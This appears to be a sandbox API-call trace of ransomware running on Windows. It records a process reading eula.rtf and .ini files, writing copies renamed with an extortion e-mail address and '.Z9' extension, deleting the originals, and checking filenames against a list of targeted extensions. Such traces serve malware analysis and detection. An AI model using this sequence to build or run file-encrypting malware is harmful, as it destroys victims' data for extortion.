	[0069.638] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.638] WriteFile (in: hFile=0x2fc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x100, lpOverlapped=0x0) returned 1
	[0069.639] SetEndOfFile (hFile=0x2fc) returned 1
	[0069.639] CloseHandle (hObject=0x2fc) returned 1
	[0069.640] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.640] SetEndOfFile (hFile=0x300) returned 1
	[0069.640] CloseHandle (hObject=0x300) returned 1
	[0069.640] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0069.641] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1
	[0069.641] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.641] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.641] lstrlenW (lpString=".doc") returned 4
	[0069.641] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0069.641] lstrlenW (lpString=".docx") returned 5
	[0069.641] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0069.641] lstrlenW (lpString=".pdf") returned 4
	[0069.641] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0069.641] lstrlenW (lpString=".xls") returned 4
	[0069.641] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0069.641] lstrlenW (lpString=".xlsx") returned 5
	[0069.641] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0069.641] lstrlenW (lpString=".ppt") returned 4
	[0069.641] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0069.641] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.641] lstrlenW (lpString=".zip") returned 4
	[0069.641] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0069.641] lstrlenW (lpString=".rar") returned 4
	[0069.641] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0069.642] lstrlenW (lpString=".bz2") returned 4
	[0069.642] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0069.642] lstrlenW (lpString=".7z") returned 3
	[0069.642] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0069.642] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.642] lstrlenW (lpString=".dbf") returned 4
	[0069.642] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0069.642] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.642] lstrlenW (lpString=".1cd") returned 4
	[0069.642] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0069.642] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.642] lstrlenW (lpString=".jpg") returned 4
	[0069.642] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0069.642] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.642] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.642] lstrlenW (lpString=".doc") returned 4
	[0069.642] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0069.642] lstrlenW (lpString=".docx") returned 5
	[0069.642] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0069.642] lstrlenW (lpString=".pdf") returned 4
	[0069.642] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0069.642] lstrlenW (lpString=".xls") returned 4
	[0069.642] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0069.642] lstrlenW (lpString=".xlsx") returned 5
	[0069.642] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0069.642] lstrlenW (lpString=".ppt") returned 4
	[0069.642] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0069.642] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.642] lstrlenW (lpString=".zip") returned 4
	[0069.642] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0069.642] lstrlenW (lpString=".rar") returned 4
	[0069.642] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0069.642] lstrlenW (lpString=".bz2") returned 4
	[0069.642] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0069.643] lstrlenW (lpString=".7z") returned 3
	[0069.643] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0069.643] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.643] lstrlenW (lpString=".dbf") returned 4
	[0069.643] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0069.643] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.643] lstrlenW (lpString=".1cd") returned 4
	[0069.643] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0069.643] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0069.643] lstrlenW (lpString=".jpg") returned 4
	[0069.643] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0069.643] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0069.643] lstrlenW (lpString="eula.rtf") returned 8
	[0069.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.644] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3726) returned 1
	[0069.644] CloseHandle (hObject=0x300) returned 1
	[0069.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80
	[0069.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.644] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.644] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0069.692] GetLastError () returned 0x0
	[0069.692] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xe8e, lpOverlapped=0x0) returned 1
	[0069.694] WriteFile (in: hFile=0x2c8, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0069.695] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.695] WriteFile (in: hFile=0x2c8, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0069.695] SetEndOfFile (hFile=0x2c8) returned 1
	[0069.695] CloseHandle (hObject=0x2c8) returned 1
	[0069.696] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.696] SetEndOfFile (hFile=0x300) returned 1
	[0069.697] CloseHandle (hObject=0x300) returned 1
	[0069.697] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.698] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1
	[0069.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.698] lstrlenW (lpString=".doc") returned 4
	[0069.698] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.698] lstrlenW (lpString=".docx") returned 5
	[0069.698] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.698] lstrlenW (lpString=".pdf") returned 4
	[0069.698] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.698] lstrlenW (lpString=".xls") returned 4
	[0069.698] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.698] lstrlenW (lpString=".xlsx") returned 5
	[0069.698] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.698] lstrlenW (lpString=".ppt") returned 4
	[0069.698] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.698] lstrlenW (lpString=".zip") returned 4
	[0069.698] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.698] lstrlenW (lpString=".rar") returned 4
	[0069.698] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.698] lstrlenW (lpString=".bz2") returned 4
	[0069.698] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.698] lstrlenW (lpString=".7z") returned 3
	[0069.698] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.698] lstrlenW (lpString=".dbf") returned 4
	[0069.699] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.699] lstrlenW (lpString=".1cd") returned 4
	[0069.699] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.699] lstrlenW (lpString=".jpg") returned 4
	[0069.699] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.699] lstrlenW (lpString=".doc") returned 4
	[0069.699] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString=".docx") returned 5
	[0069.699] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.699] lstrlenW (lpString=".pdf") returned 4
	[0069.699] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString=".xls") returned 4
	[0069.699] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.699] lstrlenW (lpString=".xlsx") returned 5
	[0069.699] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.699] lstrlenW (lpString=".ppt") returned 4
	[0069.699] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.699] lstrlenW (lpString=".zip") returned 4
	[0069.699] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.699] lstrlenW (lpString=".rar") returned 4
	[0069.699] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString=".bz2") returned 4
	[0069.699] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.699] lstrlenW (lpString=".7z") returned 3
	[0069.699] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.699] lstrlenW (lpString=".dbf") returned 4
	[0069.699] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.700] lstrlenW (lpString=".1cd") returned 4
	[0069.700] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0069.700] lstrlenW (lpString=".jpg") returned 4
	[0069.700] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.700] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0069.700] lstrlenW (lpString="eula.rtf") returned 8
	[0069.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.700] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3314) returned 1
	[0069.700] CloseHandle (hObject=0x300) returned 1
	[0069.700] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80
	[0069.700] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.700] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.701] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.751] GetLastError () returned 0x0
	[0069.751] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xcf2, lpOverlapped=0x0) returned 1
	[0069.761] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xd00, lpOverlapped=0x0) returned 1
	[0069.762] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.762] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0069.762] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.762] CloseHandle (hObject=0x2bc) returned 1
	[0069.763] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.763] SetEndOfFile (hFile=0x300) returned 1
	[0069.764] CloseHandle (hObject=0x300) returned 1
	[0069.764] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.765] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1
	[0069.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.765] lstrlenW (lpString=".doc") returned 4
	[0069.765] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.765] lstrlenW (lpString=".docx") returned 5
	[0069.765] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.765] lstrlenW (lpString=".pdf") returned 4
	[0069.765] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.765] lstrlenW (lpString=".xls") returned 4
	[0069.765] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.765] lstrlenW (lpString=".xlsx") returned 5
	[0069.765] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.765] lstrlenW (lpString=".ppt") returned 4
	[0069.765] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.765] lstrlenW (lpString=".zip") returned 4
	[0069.766] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.766] lstrlenW (lpString=".rar") returned 4
	[0069.766] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.766] lstrlenW (lpString=".bz2") returned 4
	[0069.766] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.766] lstrlenW (lpString=".7z") returned 3
	[0069.766] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.766] lstrlenW (lpString=".dbf") returned 4
	[0069.766] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.766] lstrlenW (lpString=".1cd") returned 4
	[0069.766] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.766] lstrlenW (lpString=".jpg") returned 4
	[0069.766] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.766] lstrlenW (lpString=".doc") returned 4
	[0069.766] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.766] lstrlenW (lpString=".docx") returned 5
	[0069.766] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.766] lstrlenW (lpString=".pdf") returned 4
	[0069.766] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.766] lstrlenW (lpString=".xls") returned 4
	[0069.766] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.766] lstrlenW (lpString=".xlsx") returned 5
	[0069.766] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.767] lstrlenW (lpString=".ppt") returned 4
	[0069.767] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.767] lstrlenW (lpString=".zip") returned 4
	[0069.767] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.767] lstrlenW (lpString=".rar") returned 4
	[0069.767] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.767] lstrlenW (lpString=".bz2") returned 4
	[0069.767] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.767] lstrlenW (lpString=".7z") returned 3
	[0069.767] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.767] lstrlenW (lpString=".dbf") returned 4
	[0069.767] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.767] lstrlenW (lpString=".1cd") returned 4
	[0069.767] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0069.767] lstrlenW (lpString=".jpg") returned 4
	[0069.767] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.767] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0069.767] lstrlenW (lpString="eula.rtf") returned 8
	[0069.767] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.767] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3419) returned 1
	[0069.768] CloseHandle (hObject=0x300) returned 1
	[0069.768] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80
	[0069.768] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.768] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.768] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0069.785] GetLastError () returned 0x0
	[0069.785] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xd5b, lpOverlapped=0x0) returned 1
	[0069.789] WriteFile (in: hFile=0x2c8, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0069.790] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.790] WriteFile (in: hFile=0x2c8, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0069.790] SetEndOfFile (hFile=0x2c8) returned 1
	[0069.791] CloseHandle (hObject=0x2c8) returned 1
	[0069.793] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.793] SetEndOfFile (hFile=0x300) returned 1
	[0069.794] CloseHandle (hObject=0x300) returned 1
	[0069.794] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.794] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1
	[0069.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.794] lstrlenW (lpString=".doc") returned 4
	[0069.794] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.794] lstrlenW (lpString=".docx") returned 5
	[0069.794] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.794] lstrlenW (lpString=".pdf") returned 4
	[0069.794] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.794] lstrlenW (lpString=".xls") returned 4
	[0069.794] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.794] lstrlenW (lpString=".xlsx") returned 5
	[0069.794] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.795] lstrlenW (lpString=".ppt") returned 4
	[0069.795] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.795] lstrlenW (lpString=".zip") returned 4
